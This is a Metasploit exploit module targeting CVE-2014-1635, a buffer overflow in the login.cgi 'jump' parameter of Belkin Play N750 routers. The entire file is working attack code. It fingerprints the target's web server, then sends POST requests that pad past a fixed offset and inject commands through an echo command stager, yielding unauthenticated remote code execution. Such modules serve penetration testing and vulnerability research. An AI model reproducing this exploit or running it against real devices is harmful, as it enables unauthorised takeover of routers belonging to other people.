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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Belkin Play N750 login.cgi Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a remote buffer overflow vulnerability on Belkin Play N750 DB
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        Wireless Dual-Band N+ Router N750 routers. The vulnerability exists in the handling
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        of HTTP queries with long 'jump' parameters addressed to the /login.cgi URL, allowing
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        remote unauthenticated attackers to execute arbitrary code. This module was tested in
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        an emulated environment, using the version 1.10.16.m of the firmware.
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      },
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      'Author'         =>
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        [
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          'Marco Vaz <mv[at]integrity.pt>', # Vulnerability discovery and msf module (telnetd)
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          'Michael Messner <devnull[at]s3cur1ty.de>', # msf module with echo stager
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        ],
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      'License'        => MSF_LICENSE,
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      'Platform'       => ['linux'],
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      'Arch'           => ARCH_MIPSLE,
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      'References'     =>
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        [
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          ['CVE', '2014-1635'],
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          ['EDB', '35184'],
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          ['BID', '70977'],
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          ['OSVDB', '114345'],
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          ['URL', 'https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/'],
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          ['URL', 'http://www.belkin.com/us/support-article?articleNum=4831']
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        ],
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      'Targets'        =>
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        [
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          [ 'Belkin Play N750 DB Wireless Dual-Band N+ Router, F9K1103,  firmware 1.10.16.m',
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            {
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              'Offset' => 1379,
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            }
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          ]
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        ],
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      'DefaultOptions' =>
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        {
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          'RPORT' => 8080
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        },
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      'DisclosureDate' => '2014-05-09',
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      'DefaultTarget'  => 0))
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      deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
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  end
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  def check
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    begin
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      res = send_request_cgi({
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        'method' => 'GET',
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        'uri' => '/'
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      })
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      if res &&
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        [200, 301, 302].include?(res.code) &&
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        res.headers['Server'] &&
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        res.headers['Server'] =~ /minhttpd/ &&
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        res.body =~ /u_errpaswd/
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        return Exploit::CheckCode::Detected
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      end
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    rescue ::Rex::ConnectionError
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      return Exploit::CheckCode::Unknown
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def exploit
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    print_status("Accessing the vulnerable URL...")
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    unless check == Exploit::CheckCode::Detected
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      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
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    end
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    print_status("Exploiting...")
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    execute_cmdstager(
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      :flavor  => :echo,
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      :linemax => 200
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    )
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  end
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  def prepare_shellcode(cmd)
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    shellcode = rand_text_alpha_upper(target['Offset'])
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    shellcode << 'e' << cmd
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    shellcode << "\n\n"
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  end
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  def execute_command(cmd, opts)
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    shellcode = prepare_shellcode(cmd)
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    begin
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      res = send_request_cgi({
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        'method'    => 'POST',
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        'uri'       => '/login.cgi',
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        'vars_post' => {
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          'GO'   => '',
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          'jump' => shellcode,
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        }
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      })
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      return res
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    rescue ::Rex::ConnectionError
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      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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    end
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  end
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end
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